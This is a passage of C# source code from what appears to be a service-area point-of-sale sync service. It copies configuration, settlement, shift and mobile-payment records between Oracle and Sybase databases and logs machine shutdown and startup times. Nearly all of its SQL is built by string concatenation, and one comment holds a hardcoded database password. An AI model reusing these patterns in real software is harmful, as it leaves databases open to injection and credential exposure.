$@"SELECT A.BUSINESSCONFIG_ID AS CONFIGURATION_ID,A.CONFIGURATION_DATE,
A.SERVERPARTCODE,B.SHOPCODE,'' AS MACHINECODE,
'' AS MACADDRESS,A.CONFIGURATION_NAME,
A.CONFIGURATION_VALUES,NULL AS CONFIGURATION_DESC,NULL AS FLAG
FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A,
HIGHWAY_EXCHANGE.T_SHOPMESSAGE B
WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND A.SERVERPARTCODE = B.SERVERPARTCODE AND
B.SERVERPARTCODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}'
UNION ALL
SELECT C.CONFIGURATION_ID,C.CONFIGURATION_DATE,C.SERVERPARTCODE,
C.SHOPCODE,C.MACHINECODE,C.MACADDRESS,C.CONFIGURATION_NAME,
C.CONFIGURATION_VALUES,C.CONFIGURATION_DESC,C.FLAG
FROM HIGHWAY_EXCHANGE.T_CONFIGURATION C
WHERE C.MACADDRESS = '{_mac}' AND NOT EXISTS (SELECT 1
FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A,
HIGHWAY_EXCHANGE.T_SHOPMESSAGE B
WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND
UPPER(A.CONFIGURATION_NAME) = UPPER(C.CONFIGURATION_NAME) AND
B.SERVERPARTCODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}')").Tables[0];
}
ISConnect = true;
if (ISConnect)
{
if (_DataTable.Rows.Count > 0)
{
foreach (DataRow _DataRow in _DataTable.Rows)
{
if (!"'server_ip','service_port','service_port2','service_port3','service_port4','service_port5','mobilepayoperators'".Contains(_DataRow["configuration_name"].ToString().ToLower()))
{
string anysql = "select * from dba.t_configuration where configuration_name = '" + _DataRow["configuration_name"].ToString() + "'";
if (Lib.SyBaseHelper.QueryOdbc(anysql).Tables[0].Rows.Count > 0)
{
string _sqlstr = "update dba.t_configuration set configuration_values = '" + _DataRow["configuration_values"].ToString() +
"' where configuration_name = '" + _DataRow["configuration_name"].ToString() + "'";
//OdbcCommand updatecom = new OdbcCommand(_sqlstr, conany);
Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr);
}
else
{
string _insrtstr = "insert into dba.t_configuration(configuration_id,configuration_date,serverpartcode," +
"shopcode,machinecode,macaddress,configuration_name,configuration_values)values('" +
_DataRow["configuration_id"].ToString() + "','" + _DataRow["configuration_date"].ToString() +
"','" + _DataRow["serverpartcode"].ToString() + "','" + _DataRow["shopcode"].ToString() + "','" +
_DataRow["machinecode"].ToString() + "','" + _DataRow["macaddress"].ToString() +
"','" + _DataRow["configuration_name"].ToString() + "','" + _DataRow["configuration_values"].ToString() + "')";
Lib.SyBaseHelper.ExecuteSqlTran(_insrtstr);
}
}
}
}
}
//conn.Dispose();
}
catch (Exception ex)
{
//conn.Dispose();
LogHelper.WriteServiceLog("t_configuration:" + ex.Message);
}
#endregion
#region 结账上传记录
try
{
if (DateTime.TryParse(_OracleHelper.ExcuteSqlGetDataSet(
"SELECT MAX(ENDACCOUNT_DATE) AS ENDACCOUNT_DATE " +
"FROM " + dbname + ".T_ENDACCOUNT " +
"WHERE SERVERPARTCODE = '" + SERVERPARTCODE +
"' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE +
"'AND ENDACCOUNT_DATE < SYSDATE AND ENDACCOUNT_DATE IS NOT NULL"
).Tables[0].Rows[0]["ENDACCOUNT_DATE"].ToString(), out DateTime _UpEndDate))
{
UpdateConfigUration("EndAccount", _UpEndDate.ToString());
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("结账上传记录:" + ex.Message);
}
#endregion
#region 单品上传记录
try
{
string _cofigsql = "select max(distinct(a.enddate)) as endaccount_date from " + dbname + ".t_commoditysale a," + dbname + ".t_personsell b" +
" where a.enddate = b.enddate and b.serverpartcode = '" + SERVERPARTCODE + "' and b.shopcode = '" + SHOPCODE + "' and b.machinecode = '"
+ MACHINECODE + "'and b.enddate < sysdate and b.enddate is not null";
conn.Open();
OracleCommand cmd = new OracleCommand(_cofigsql, conn);
OracleDataReader dr = cmd.ExecuteReader();
if (dr.HasRows)
{
dr.Read();
UpdateConfigUration("CommoditySale", dr["endaccount_date"].ToString());
}
conn.Close();
}
catch (Exception ex)
{
//conany.Close();
conn.Close();
LogHelper.WriteServiceLog("单品上传记录:" + ex.Message);
}
#endregion
#region 交班上传记录
try
{
string _cofigsql = "select max(enddate) as endaccount_date from " + dbname + ". t_personsell " +
" where serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "' and enddate < sysdate";
conn.Open();
OracleCommand cmd = new OracleCommand(_cofigsql, conn);
OracleDataReader dr = cmd.ExecuteReader();
if (dr.HasRows)
{
dr.Read();
UpdateConfigUration("Personsell", dr["endaccount_date"].ToString());
}
conn.Close();
}
catch (Exception ex)
{
//conany.Close();
conn.Close();
LogHelper.WriteServiceLog("交班上传记录:" + ex.Message);
}
#endregion
#region 移动支付上传记录
try
{
string _cofigsql = "select max(mobilepay_date) as endaccount_date from " + dbname + ". t_mobile_pay " +
" where serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "' and mobilepay_date < sysdate";
conn.Open();
OracleCommand cmd = new OracleCommand(_cofigsql, conn);
OracleDataReader dr = cmd.ExecuteReader();
if (dr.HasRows)
{
dr.Read();
UpdateConfigUration("MobilePay_Update", dr["endaccount_date"].ToString());
}
conn.Close();
}
catch (Exception ex)
{
//conany.Close();
conn.Close();
LogHelper.WriteServiceLog("移动支付上传记录:" + ex.Message);
}
#endregion
#region 本地mac记录
try
{
UpdateConfigUration("macaddress", ESSupport.Lib.PCHelper.GetMacAddressByNetworkInformation());
}
catch (Exception ex)
{
//conany.Close();
LogHelper.WriteServiceLog("mac记录:" + ex.Message);
}
}
#endregion
#region 同步促销信息
////促销活动信息同步
//string salesStr = "SELECT * FROM " + dbname + ".T_SALESPROMOTE WHERE SERVERPARTCODE = '" + serverpartcode + "' AND SHOPCODE = '" + shopcode + "'";
//OracleCommand sales = new OracleCommand(salesStr, conn);
//try
//{
// conn.Open();
// ISConnect = true;
// if (ISConnect)
// {
// OracleDataReader rd = sales.ExecuteReader();
// if (rd.HasRows)
// {
// while (rd.Read())
// {
// string SALESPROMOTE_ID = rd["SALESPROMOTE_ID"].ToString();
// string SERVERPARTCODE = rd["SERVERPARTCODE"].ToString();
// string SHOPCODE = rd["SHOPCODE"].ToString();
// string SALESPROMOTE_STARTDATE = rd["SALESPROMOTE_STARTDATE"].ToString();
// string SALESPROMOTE_ENDDATE = rd["SALESPROMOTE_ENDDATE"].ToString();
// string SALESPROMOTE_TYPE = rd["SALESPROMOTE_TYPE"].ToString();
// string SALESPROMOTE_NAME = rd["SALESPROMOTE_NAME"].ToString();
// string THRESHOLD_AMOUNT = "0";
// if (!string.IsNullOrEmpty(rd["THRESHOLD_AMOUNT"].ToString()))
// {
// THRESHOLD_AMOUNT = rd["THRESHOLD_AMOUNT"].ToString();
// }
// string DISCOUNT_RATE = "0";
// if (!string.IsNullOrEmpty(rd["DISCOUNT_RATE"].ToString()))
// {
// DISCOUNT_RATE = rd["DISCOUNT_RATE"].ToString();
// }
// string SALESPROMOTE_VIP = rd["SALESPROMOTE_VIP"].ToString();
// string FLAG = rd["FLAG"].ToString();
// string SALESPROMOTE_DATE = rd["SALESPROMOTE_DATE"].ToString();
// string SALESPROMOTE_DESC = rd["SALESPROMOTE_DESC"].ToString();
// conany.Open();
// ISConnect = true;
// if (ISConnect)
// {
// string sqlany = "SELECT * FROM DBA.T_SALESPROMOTE WHERE SALESPROMOTE_ID = " + SALESPROMOTE_ID;
// OdbcCommand cmd = new OdbcCommand(sqlany, conany);
// OdbcDataReader odbcrd = cmd.ExecuteReader();
// if (odbcrd.HasRows)
// {
// while (odbcrd.Read())
// {
// if (!string.IsNullOrEmpty(rd["MACHINECODE"].ToString()))
// {
// if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString()))
// {
// string MACHINECODE = rd["MACHINECODE"].ToString();
// string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString();
// string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE +
// "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE +
// "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP +
// "',FLAG = '" + FLAG + "',TICKET_PREFIX = '" + TICKET_PREFIX + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';";
// OdbcCommand updateCMD = new OdbcCommand(updatesql, conany);
// updateCMD.ExecuteNonQuery();
// }
// else
// {
// string MACHINECODE = rd["MACHINECODE"].ToString();
// string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE +
// "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE +
// "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP +
// "',FLAG = '" + FLAG + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';";
// OdbcCommand updateCMD = new OdbcCommand(updatesql, conany);
// updateCMD.ExecuteNonQuery();
// }
// }
// else
// {
// if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString()))
// {
// string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString();
// string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE +
// "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME +
// "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + "',FLAG = '" + FLAG +
// "',TICKET_PREFIX = '" + TICKET_PREFIX + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';";
// OdbcCommand updateCMD = new OdbcCommand(updatesql, conany);
// updateCMD.ExecuteNonQuery();
// }
// else
// {
// string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE +
// "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME +
// "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + "',FLAG = '" + FLAG +
// "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';";
// OdbcCommand updateCMD = new OdbcCommand(updatesql, conany);
// updateCMD.ExecuteNonQuery();
// }
// }
// }
// }
// else
// {
// if (!string.IsNullOrEmpty(rd["MACHINECODE"].ToString()))
// {
// if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString()))
// {
// string MACHINECODE = rd["MACHINECODE"].ToString();
// string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString();
// string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,MACHINECODE,SALESPROMOTE_STARTDATE," +
// "SALESPROMOTE_ENDDATE,SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,TICKET_PREFIX,SALESPROMOTE_DATE)" +
// "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE +
// "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + "','" + FLAG +
// "','" + TICKET_PREFIX + "','" + SALESPROMOTE_DATE + "');";
// OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany);
// INSERTCMD.ExecuteNonQuery();
// }
// else
// {
// string MACHINECODE = rd["MACHINECODE"].ToString();
// string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,MACHINECODE,SALESPROMOTE_STARTDATE," +
// "SALESPROMOTE_ENDDATE,SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,SALESPROMOTE_DATE)" +
// "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + ",'" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE +
// "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP + "','" + FLAG + "','" + SALESPROMOTE_DATE + "');";
// OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany);
// INSERTCMD.ExecuteNonQuery();
// }
// }
// else
// {
// if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString()))
// {
// string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString();
// string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,SALESPROMOTE_STARTDATE,SALESPROMOTE_ENDDATE," +
// "SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,TICKET_PREFIX,SALESPROMOTE_DATE)" +
// "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE +
// "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP +
// "','" + FLAG + "','" + TICKET_PREFIX + "','" + SALESPROMOTE_DATE + "');";
// OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany);
// INSERTCMD.ExecuteNonQuery();
// }
// else
// {
// string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,SALESPROMOTE_STARTDATE,SALESPROMOTE_ENDDATE," +
// "SALESPROMOTE_TYPE,SALESPROMOTE_NAME,THRESHOLD_AMOUNT,DISCOUNT_RATE,SALESPROMOTE_VIP,FLAG,SALESPROMOTE_DATE)" +
// "VALUES('" + SALESPROMOTE_ID + "','" + SERVERPARTCODE + "','" + SHOPCODE + "','" + SALESPROMOTE_STARTDATE + "','" + SALESPROMOTE_ENDDATE +
// "','" + SALESPROMOTE_TYPE + "','" + SALESPROMOTE_NAME + "','" + THRESHOLD_AMOUNT + "','" + DISCOUNT_RATE + "','" + SALESPROMOTE_VIP +
// "','" + FLAG + "','" + SALESPROMOTE_DATE + "');";
// OdbcCommand INSERTCMD = new OdbcCommand(insertsql, conany);
// INSERTCMD.ExecuteNonQuery();
// }
// }
// }
// }
// conany.Close();
// }
// }
// }
// conn.Close();
// conn.Dispose();
//}
//catch (Exception ex)
//{
// LogHelper.WriteServiceLog("T_SALESPROMOTE:" + ex.Message);
// conany.Close();
// conn.Close();
// conn.Dispose();
//}
#endregion
#region 方法->记录开关机时间
List _insertstr = new List();
string _shutdown = GetLogDateTime("System", 6006, DateTime.Now, false);
string _shutup = GetLogDateTime("System", 6005, DateTime.Now, false);
string _shutdownstr, _shutupstr, _maxid;
_maxid = "select max(exception_id) from t_exception";
if (_shutdown != "")
{
_shutdownstr = "select 1 from t_exception where commodity_code = '" + _shutdown + "' and exceptiontype = 9013 and serverpartcode = '" +
SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";//关机时间
try
{
if (Lib.SyBaseHelper.QueryOdbc(_shutdownstr).Tables[0].Rows.Count == 0)
{
int.TryParse(Lib.SyBaseHelper.QueryOdbc(_maxid).Tables[0].Rows[0][0].ToString(), out int _Maxid);
string _sqlstr = "insert into t_exception (exception_id,exception_date,serverpartcode,shopcode,machinecode,exceptiontype," +
"commodity_code,exceptioncount,exceptionamount) values(" + (_Maxid + 1) +
",datetime('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") + "'),'" + SERVERPARTCODE + "','" + SHOPCODE + "','" +
MACHINECODE + "',9013,'" + _shutdown + "',0,0)";
Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr);
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("shutdowntime:" + ex.Message);
}
}
if (_shutup != "")
{
_shutupstr = "select 1 from t_exception where commodity_code = '" + _shutup + "' and exceptiontype = 9014 and serverpartcode = '" +
SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";//开机时间
try
{
if (Lib.SyBaseHelper.QueryOdbc(_shutupstr).Tables[0].Rows.Count == 0)
{
int.TryParse(Lib.SyBaseHelper.QueryOdbc(_maxid).Tables[0].Rows[0][0].ToString(), out int _Maxid);
string _sqlstr = "insert into t_exception (exception_id,exception_date,serverpartcode,shopcode,machinecode,exceptiontype," +
"commodity_code,exceptioncount,exceptionamount) values(" + (_Maxid + 1) +
",datetime('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") + "'),'" + SERVERPARTCODE + "','" + SHOPCODE + "','" +
MACHINECODE + "',9014,'" + _shutup + "',0,0)";
Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr);
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("shutuptime:" + ex.Message);
}
}
#endregion
conn.Dispose();
}
catch (Exception ex)
{
try
{
LogHelper.WriteServiceLog("Timeinfocheck_Tick:" + ex.Message + "\r\n" + SqlString);
}
catch { }
conn.Close();
conn.Dispose();
}
}
#endregion
#region 线程 --> 检测数据上传情况
private void DoWork_Handler(object sender, DoWorkEventArgs args)
{
string _selectsql;
DataTable _localdata = new DataTable();
DataTable _serverdata = new DataTable();
DataTable _updatedata = new DataTable();
DataTable _DataUpdate = new DataTable();
DataSet _ServerDataSet = new DataSet();
DataSet _LocalDataSet = new DataSet();
string endaccountday = GetValue("endaccounttimes");
if (endaccountday == "")
endaccountday = "20";
//string constr = "DSN=anysql1;UID=dba;PWD=sql;";
//OdbcConnection _OdbcConnection = new OdbcConnection(constr);
#region 获取服务器已有数据
using (OracleConnection _oracleconn = QueryOracle())
{
//获取结账数据
_selectsql = "SELECT ENDACCOUNT_ID AS ID, ENDACCOUNT_STARTDATE AS STARTDATE, ENDACCOUNT_DATE AS ENDDATE, " +
"SERVERPARTCODE, SHOPCODE, MACHINECODE, FLAG FROM " + dbname + ".T_ENDACCOUNT " +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE +
"'AND ENDACCOUNT_DATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() +
"','YYYY/MM/DD HH24:MI:SS') AND ENDACCOUNT_DATE IS NOT NULL";
try
{
OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn);
_OracleDataAdapter.Fill(_ServerDataSet, "T_ENDACCOUNT");
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("日结服务器数据:" + ex.Message);
}
//获取交班数据
_selectsql = "SELECT PERSONSELL_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, STARTDATE, ENDDATE FROM " + dbname + ".T_PERSONSELL " +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > TO_DATE('" +
DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS') AND ENDDATE IS NOT NULL";
try
{
OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn);
_OracleDataAdapter.Fill(_ServerDataSet, "T_PERSONSELL");
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("交班服务器数据:" + ex.Message);
}
//获取单品集合数据
_selectsql = "SELECT TRANSFER_ID AS ID, SERVERPARTCODE, SHOPCODE, STARTDATE, ENDDATE, TRANSFER_FIRSTDATAS,TRANSFER_THIRTEENTHDATAS, " +
"TRANSFER_FOURTEENTHDATAS, TRANSFER_FIFTEENTHDATAS FROM " + dbname + ".T_TRANSFER_SALE" +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > TO_DATE('" +
DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS') AND ENDDATE IS NOT NULL";
try
{
OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn);
_OracleDataAdapter.Fill(_ServerDataSet, "T_TRANSFER_SALE");
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("单品集合服务器数据:" + ex.Message);
}
//获取移动支付数据
_selectsql = "SELECT MOBILE_PAY_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, WORKERCODE, MOBILEPAY_DATE AS ENDDATE, " +
"MOBILEPAY_TYPE, TICKET_CODE, TICKET_AMOUNT, MOBILEPAY_RESULT, MOBILEPAY_FEEDBACK FROM " + dbname + ".T_MOBILE_PAY" +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE +
"'AND MOBILEPAY_DATE > TO_DATE('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "','YYYY/MM/DD HH24:MI:SS')";
try
{
OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_selectsql, _oracleconn);
_OracleDataAdapter.Fill(_ServerDataSet, "T_MOBILE_PAY");
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("移动支付服务器数据:" + ex.Message);
}
}
#endregion
#region 获取本地数据
//获取结账数据
_selectsql = "SELECT ENDACCOUNT_ID AS ID, ENDACCOUNT_STARTDATE AS STARTDATE, ENDACCOUNT_DATE AS ENDDATE, " +
"SERVERPARTCODE, SHOPCODE, MACHINECODE, FLAG FROM T_ENDACCOUNT " +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "'AND ENDACCOUNT_DATE > DATETIME('" +
DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDACCOUNT_DATE IS NOT NULL";
try
{
//OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection);
//_OdbcDataAdapter.Fill(_LocalDataSet, "T_ENDACCOUNT");
_LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_ENDACCOUNT").Tables[0].Copy());
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("日结本地数据:" + ex.Message);
}
//获取交班数据
_selectsql = "SELECT PERSONSELL_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, STARTDATE, ENDDATE FROM T_PERSONSELL " +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > DATETIME('" +
DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDDATE IS NOT NULL";
try
{
//OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection);
//_OdbcDataAdapter.Fill(_LocalDataSet, "T_PERSONSELL");
_LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_PERSONSELL").Tables[0].Copy());
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("交班本地数据:" + ex.Message);
}
//获取单品集合数据
_selectsql = "SELECT TRANSFER_ID AS ID, SERVERPARTCODE, SHOPCODE, STARTDATE, ENDDATE, TRANSFER_FIRSTDATAS," +
"TRANSFER_THIRTEENTHDATAS, TRANSFER_FOURTEENTHDATAS, TRANSFER_FIFTEENTHDATAS FROM T_TRANSFER_SALE" +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND ENDDATE > DATETIME('" +
DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "') AND ENDDATE IS NOT NULL";
try
{
//OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection);
//_OdbcDataAdapter.Fill(_LocalDataSet, "T_TRANSFER_SALE");
_LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_TRANSFER_SALE").Tables[0].Copy());
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("单品集合本地数据:" + ex.Message);
}
//获取移动支付数据
_selectsql = "SELECT MOBILE_PAY_ID AS ID, SERVERPARTCODE, SHOPCODE, MACHINECODE, WORKERCODE, MOBILEPAY_DATE AS ENDDATE, " +
"MOBILEPAY_TYPE, TICKET_CODE,TICKET_AMOUNT, MOBILEPAY_RESULT, MOBILEPAY_FEEDBACK FROM T_MOBILE_PAY" +
" WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE +
"'AND MOBILEPAY_DATE > DATETIME('" + DateTime.Now.AddDays(Convert.ToDouble(endaccountday) * -1).ToShortDateString() + "')";
try
{
//OdbcDataAdapter _OdbcDataAdapter = new OdbcDataAdapter(_selectsql, _OdbcConnection);
//_OdbcDataAdapter.Fill(_LocalDataSet, "T_MOBILE_PAY");
_LocalDataSet.Tables.Add(Lib.SyBaseHelper.QueryOdbc(_selectsql, "T_MOBILE_PAY").Tables[0].Copy());
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("移动支付本地数据:" + ex.Message);
}
#endregion
#region 检测已上传数据并记录至数据上传表
if (_ServerDataSet.Tables.Count > 0 && _LocalDataSet.Tables.Count > 0)
{
_selectsql = "SELECT dataupdate_id, serverpartcode, shopcode, machinecode, data_id, data_date, data_type, update_date, update_state,update_checknum, dataupdate_desc FROM t_dataupdate";
try
{
_DataUpdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(_selectsql).Tables[0];
}
catch { }
foreach (DataTable _DataTable in _ServerDataSet.Tables)
{
_serverdata = ConvertOraclTableToDoNetTable(_DataTable);
_localdata = _LocalDataSet.Tables[_DataTable.TableName];
var _query = _serverdata.AsEnumerable().Intersect(_localdata.AsEnumerable(), DataRowComparer.Default);
if (_query.Count() > 0)
{
decimal maxid = 0;
try
{
maxid = decimal.Parse(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(dataupdate_id) from t_dataupdate").Tables[0].Rows[0][0].ToString());
}
catch
{
maxid = 0;
}
string _insertsql = "INSERT INTO t_dataupdate (dataupdate_id, serverpartcode, shopcode, machinecode, data_id, data_date, data_type, update_date, update_state) VALUES ";
string _insertvalues = "";
_updatedata = _query.CopyToDataTable();
_updatedata.TableName = _serverdata.TableName;
//_OdbcConnection.Open();
//int i = 0;
for (int i = 0; i < _updatedata.Rows.Count; i++)
{
string _datetype = GetDataType(_updatedata);
if (_datetype != "")
{
if (_datetype == "1001,1002")
{
_datetype = (_updatedata.Rows[i]["FLAG"].ToString() == "5" ? "1002" : "1001");
}
if (_DataUpdate.Select("data_id = " + _updatedata.Rows[i]["ID"] + " and data_date = '" + _updatedata.Rows[i]["ENDDATE"] + "' and data_type = " + _datetype).Count() == 0)
{
maxid++;
